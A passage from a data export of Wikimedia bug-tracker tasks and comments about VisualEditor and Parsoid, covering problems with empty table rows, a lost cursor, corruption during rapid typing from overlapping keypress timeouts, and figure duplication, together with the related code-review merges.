+https://gerrit.wikimedia.org/r/119067",,,1395073111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,False,,,37,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+254471,"Slugs are created inside empty table rows, creating pawns if used",I think this edit https://fr.wikipedia.org/w/index.php?title=Cash_investigation&diff=96500094&oldid=95914321 is related.,,,1379005591,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0
+254465,"Slugs are created inside empty table rows, creating pawns if used","(In reply to comment #2)
+> To perhaps clarify, VE and parsoid should accept both
+> 
+> |content
+> |-
+> |}
+> 
+> and
+> 
+> |content
+> |}
+> 
+> as validly closed templates that should be displayed and rendered
+> identically.
+
+We currently don't strip empty table rows, which seems to be done in some conditions in the PHP parser + tidy combo. We could emulate this behavior in templated content and maybe also outside of templated content, but will need to avoid dirty diffs and preserve WYSIWYG behavior even when another row is added in VE.
+
+> Both syntaxes should be retained as is when roundtripping.
+
+This should already be the case in Parsoid. I just verified this at http://parsoid.wmflabs.org/_rtform/. Pawn insertion would a DOM modification in VE.",,,1377295726,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,True,,,7,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+254461,"Slugs are created inside empty table rows, creating pawns if used","To perhaps clarify, VE and parsoid should accept both
+
+|content
+|-
+|}
+
+and
+
+|content
+|}
+
+as validly closed templates that should be displayed and rendered identically. Both syntaxes should be retained as is when roundtripping.",,,1377282757,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+254459,"Slugs are created inside empty table rows, creating pawns if used",Pawns are firmly VE territory. Moving to the VisualEditor product.,,,1377186019,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jr5ycdlwcecuxieizpcv,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+55206,"VisualEditor: Blank page, list, [enter] lose cursor","<<If I edit a blank page, press on the number list or bullet list icon and then press enter, the page remains blank but I have no cursor. Then other strange things start to happen. Pressing the link icon does not seem to do anything. I can press some icons (transclusion, references, etc) and they will appear, but if I then exit it, pressing it again or any other icon does nothing. Undo works though. FF 23.0.1 Win7. --Atethnekos (Discussion, Contributions) 21:27, 21 August 2013 (UTC) >>
+
+Same for me, on Chrome the cursor does not disappear and you can press icons more than once, but if you type a word it will be split on more lines and you won't be able to wikilink it.
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377164400,1394678478.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-l56nfzkytddrozusk6lo,task_description,resolved,True,c1,3,False,False,False,7,,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,1
+254051,"VisualEditor: Blank page, list, [enter] lose cursor",This was fixed a long while ago.,,,1394678478,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-l56nfzkytddrozusk6lo,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+55151,VisualEditor: MW images shouldn't be able to take a link annotation,"There is no way to convert an image wrapped in a link to wikitext, so we shouldn't let a user do it. A plain image, on the other hand, can be link wrapped and we already handle this correctly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1377087600,1379981344.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-oupbsd5554xmfpbxxxyj,task_description,resolved,True,c1,3,True,False,True,7,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+251316,VisualEditor: MW images shouldn't be able to take a link annotation,"Change 85010 merged by jenkins-bot:
+Node annotation blacklists
+
+https://gerrit.wikimedia.org/r/85010",,,1379981366,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oupbsd5554xmfpbxxxyj,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251310,VisualEditor: MW images shouldn't be able to take a link annotation,"Change 85011 merged by jenkins-bot:
+MW*ImageNode's can't take link annotations
+
+https://gerrit.wikimedia.org/r/85011",,,1379981363,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oupbsd5554xmfpbxxxyj,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251302,VisualEditor: MW images shouldn't be able to take a link annotation,"Change 85011 had a related patch set uploaded by Esanders:
+MW*ImageNode's can't take link annotations
+
+https://gerrit.wikimedia.org/r/85011",,,1379613881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oupbsd5554xmfpbxxxyj,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251293,VisualEditor: MW images shouldn't be able to take a link annotation,"Change 85010 had a related patch set uploaded by Esanders:
+Node annotation blacklists
+
+https://gerrit.wikimedia.org/r/85010",,,1379613876,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oupbsd5554xmfpbxxxyj,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55143,Implement non-linear transitions,"Implement non-linear transitions between steps.  This is one of the key goals of the planned update to the API.  
+
+The idea is that each step has a callback function which decides which step to proceed to.  This callback is called when an event occurs, such certain mw.hook, a user-provided event (there will be a way to tell the tour to check at a particular time), or a page change.
+
+There can also be global transitions, which apply throughout the whole tour (for example, clicking ""edit source"" at any time may transition to the first step of the wikitext editing flow).
+
+Simple use case:
+
+Have a single tour with the basics of both wikitext and VisualEditor editing.  When you click ""edit source"" or ""edit beta"" at any time (unlike today, you don't have to be at the beginning), it transitions to the appropriate step.  You can then walk through the basic flows of the editors (as today)
+
+More elaborate:
+
+Your are in a detailed tour for VisualEditor.  You are in the step for the references dialog.  You click the template button, and it transitions to the step for adding a template.  When you walk through and save that, it transitions to a step for saving the reference.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1377068880,1402345387.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-gnj6uia6j4dqknm3pggn,task_description,resolved,True,c1,3,True,False,False,7,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+250806,Implement non-linear transitions,"Change 116228 merged by jenkins-bot:
+Refactor and add non-linear tours, with tests
+
+https://gerrit.wikimedia.org/r/116228",,,1402332991,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-gnj6uia6j4dqknm3pggn,task_subcomment,,True,c1,3,False,,,49,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+250796,Implement non-linear transitions,"Change 116228 had a related patch set uploaded by Mattflaschen:
+WIP: Refactor and add non-linear tours
+
+https://gerrit.wikimedia.org/r/116228",,,1395186275,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-gnj6uia6j4dqknm3pggn,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55079,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"This seems sporadic, and while it doesn't happen all the time, it does happen a lot, so I hope I am giving enough details to repeat this:
+
+1. Put the cursor on an empty line without text.
+2. Click the ""Bold"" button.
+3. Type gibberish fast (ldkjlskdfjlkdjs lskdjf lsdkjflsdkjljsf....)
+4. Witness weirdness: new characters pop up in the line underneath or in between the bits of gibberish, and if I try ""backspace"" to erase the lines even weirder stuff happen (like characters popup instead of being deleted, etc.
+
+This doesn't happen when I typed regular language, I suspect, then, that it has to do with the speed of the insertion?
+
+But after a single occurrence of this bug, the behavior of delete/backspace creates further bugs even if I stop typing quickly, or start new lines, etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1376955360,1377648335.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-ii6rhmjn7erj375xgev6,task_description,resolved,True,c1,3,False,False,True,7,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+247320,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),*** Bug 53317 has been marked as a duplicate of this bug. ***,,,1379576014,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247314,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"Change 81213 merged by jenkins-bot:
+Detect outdated pending post KeyPress handler
+
+https://gerrit.wikimedia.org/r/81213",,,1377642670,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+247308,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),Further to my previous comment: it seems that it's actually onDocumentKeyPress which is doing the setTimeout which gets outdated; and that we can code our way around it because it's just there to do a surface-to-model poll.,,,1377602894,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+247301,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"Change 81213 had a related patch set uploaded by Divec:
+Detect outdated pending post KeyPress handler
+
+https://gerrit.wikimedia.org/r/81213",,,1377602821,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+247293,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"I can reproduce this just by holding a key down for a few seconds. It seems to be because of setTimeout( f(), 0 ) causing event handling to overlap. This could be challenging to resolve because of the way browser event handling works. Gory details below :-)
+
+On my slow Ubuntu laptop, I can reliably reproduce the bug. It happens if I just hold the 'x' key down inside a <h1> for a couple of seconds.
+
+I'm pretty sure it's happening because we use setTimeout to process events. This can get complex up when two events are emitted by the browser at virtually the same time. In this case, ve.ce.SurfaceObserver.onDocumentKeyDown receives event 1, does some processing, then effectively does a setTimeout( f(), 0 ) to finish the processing. But by that time, the browser has already queued the handlers for event 2, so the processing for event 2 will start before the processing for event 1 has finished.
+
+I tested this by putting two lines at the top of onDocumentKeydown: a ve.log(""main..."") and a setTimeout( ve.log(""post...""), 0) . The corruption happens exactly when we get ""main..."" twice in a row followed by ""post..."" twice in a row. See http://pastebin.com/dzGYbpDq for full output.
+
+This may be challenging to resolve, because we probably need to do stuff both before and after the browser's native keydown handler. We can't manage all the handling in our own queue, because (afaik) the browser's native handling can't be postponed. So it seems the only obvious option would be to detect when there are overlapping events, and try and do act delicately enough that things don't break.
+
+Timo, any thoughts?",,,1377592907,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+247287,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"This is problematic, since I couldn't properly and reliably replicate the bug since then, it only happens occasionally, I'm not sure if it's because of the speed or some other aspect. 
+
+But I did find that it happens not only with the Bold button - it happens either with ""just"" rapid text (no annotation) and with strikethrough and italics as well. I think it's probably safe to say that this isn't a specific annotation bug.
+
+Another small detail about that bug was that once it *does* happen, the rest of the editing is a mess -- that is, once it happens, even if I stop rapid typing, and then start editing normally, I still get random letters and gibberish added, and the 'delete' functionality goes wonky. To get rid of it I need to refresh the page and start over. 
+
+Also, This happened on my local wiki (using current VisualEditor master), installed on Ubuntu 13.04, and used through Firefox, and I just replicated it in MediaWiki.org",,,1377542371,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+247281,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"<<First, I noticed a strange behavior where anything I typed at the end of that third line, if I then hit enter, it would be duplicated in the fourth line, and my cursor would move to the fifth (blank) line. I then took a look at the wikitext generated by VE, and it looked odd, so I copied it into a wikitext editor, and got a rather different looking result than VE was showing. Also, upon saving with VE, I got this result, which is the same as copying into wikitext editor, but not what VE was showing me. Chris857 (talk) 20:54, 25 August 2013 (UTC) >>
+
+http://www.mediawiki.org/w/index.php?title=User:Chris857&oldid=770602
+http://en.wikipedia.org/wiki/File:Visual_Editor_-_subscript_and_superscript.PNG
+http://en.wikipedia.org/wiki/File:Wikitext_editor_-_subscript_and_superscript.PNG
+
+The user think this is related to the new super/sub script features.
+
+
+I don't think it has to do with them. Proof is, I can reproduce (on Mediawiki) the same bug without using them. You just need to add quickly casual sequences of words, as if you were vandalizing the page. In this diff http://www.mediawiki.org/w/index.php?title=User:Elitre_(WMF)/SandboxVE&diff=prev&oldid=771184 I kept writing on the third line, it was VE which splitted what I wrote on more lines. I was also able to reproduce the difference among the content you ""write"" and the one which is saved. I can recall a vaguely similar behavior (not with casual letters though) when starting a list, but I can't say which bug that would be. I am also not sure whether this is a real bug or some counter-vandalism filter in action :)
+Thanks.",,,1377524357,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+247274,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"Hi Moriel, David, can you please specify on which wiki this happens?
+I am not able to reproduce it on en.wp or it.wp, 
+but it does happen on mw.org - even if you do not use the Bold button or the new features, like another user suggested. 
+I'd say this bug probably needs to be renamed.",,,1377524032,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+247268,VisualEditor: Rapid typing with pre-annotation creates weird new characters (sometimes?),"I can reproduce this in Firefox but not in Chromium, on a slowish Ubuntu machine.",,,1376955601,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ii6rhmjn7erj375xgev6,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+55071,about=null entries on <figure> elements (because of dom-fragment reuse),"From WP:VE/F page (http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=567413854)
+
+------------------------------
+Following a report on frwiki, I tried a simple modification by changing a text into a wikilink. VE messed up the article by duplicating parts (not even complete parts), see [http://fr.wikipedia.org/w/index.php?title=Gen%C3%A8ve&diff=95604102&oldid=95601955 diff]. It seems to be reproducible on this article. --[[User:NicoV|NicoV]] <sup>([[:fr:Discussion Utilisateur:NicoV|Talk on frwiki]])</sup> 15:51, 6 August 2013 (UTC)
+------------------------------
+
+A cursory investigation back then revealed that this could be because of incorrect DOM fragment reuse for figures which all had about=null.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47326",High,80.0,1376945880,1389799516.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_description,resolved,True,c1,3,True,False,False,7,,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+246783,about=null entries on <figure> elements (because of dom-fragment reuse),I am marking this resolved. Haven't seen any reports about this in a while.,,,1389799516,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,28,,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+246780,about=null entries on <figure> elements (because of dom-fragment reuse),Is this still happening in production?,,,1386109794,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,22,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0
+246778,about=null entries on <figure> elements (because of dom-fragment reuse),https://gerrit.wikimedia.org/r/#/c/83216/ fixes the dsr inconsistency warnings  reported in this bug.,,,1379553778,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246775,about=null entries on <figure> elements (because of dom-fragment reuse),"Sorry, I linked the wrong bug which is how you got the email ;-) .. fixing it.",,,1378333227,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0
+246772,about=null entries on <figure> elements (because of dom-fragment reuse),"You guys sure you wanted me on the CC for this bug?  I'm just making sure it wasn't another ""Dan"" :)",,,1378333119,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,0
+246769,about=null entries on <figure> elements (because of dom-fragment reuse),"Based on IRC discussions, we figured that there are different bugs that are interaction and producing the same end result -- duplication in some cases.  The Trieste bug could be a result of a bad parse of ''[[Foo|''bar'']]'' and interaction of the about=null issue.  Dalmine seems to be something else.",,,1378332012,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,9,,1,1,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+246765,about=null entries on <figure> elements (because of dom-fragment reuse),"This patch addresses the about=""null"" issue.
+
+I am however not 100% sure that this is indeed the root cause for bug 53071. A
+scenario I can think of is this:
+
+1) getAboutSiblings returned sibling nodes without about attributes
+2) for some reason that is unclear to me those were *not* assigned
+   about=""null"" attributes in unpackDOMFragments on reuse
+3) the serializer faithfully serialized out the new content
+
+
+The diffs in
+https://it.wikipedia.org/w/index.php?title=Trieste&diff=prev&oldid=61046913
+would support this, as the entire image link is duplicated.
+
+The diff in https://it.wikipedia.org/w/index.php?title=Dalmine&oldid=61238456
+however looks like an incomplete image duplication. 
+
+There are several figure-related DSR errors when parsing that page of this pattern:
+
+WARNING: DSR inconsistency: cs/s mismatch for node: FIGURE s: 22704; cs: 22817
+WARNING: DSR inconsistency: cs/s mismatch for node: FIGURE s: 18478; cs: 18586
+
+Those warnings are still there when parsing the page with fragment reuse
